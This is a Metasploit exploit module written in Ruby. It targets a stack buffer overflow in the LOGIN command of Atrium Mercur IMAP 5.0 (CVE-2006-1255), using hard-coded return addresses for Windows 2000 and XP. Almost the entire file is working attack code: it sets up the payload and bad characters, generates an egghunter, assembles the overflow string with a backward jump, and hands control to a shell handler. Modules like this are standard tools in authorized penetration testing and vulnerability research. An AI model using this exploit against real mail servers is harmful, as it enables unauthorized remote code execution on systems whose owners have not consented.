modules/exploits/windows/imap/mercur_login.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.
Since the room for shellcode is small, using the reverse ordinal payloads
yields the best results.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-1255' ],
[ 'OSVDB', '23950' ],
[ 'BID', '17138' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 228,
'BadChars' => "\x00\x20\x2c\x3a\x40",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ],
],
'DisclosureDate' => '2006-03-17',
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(143) ])
end
def exploit
connect
sock.get_once
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
sploit = "A001 LOGIN " + egg + hunter[0]
sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV')
print_status("Trying target #{target.name}...")
sock.put(sploit + "\r\n")
handler
disconnect
end
end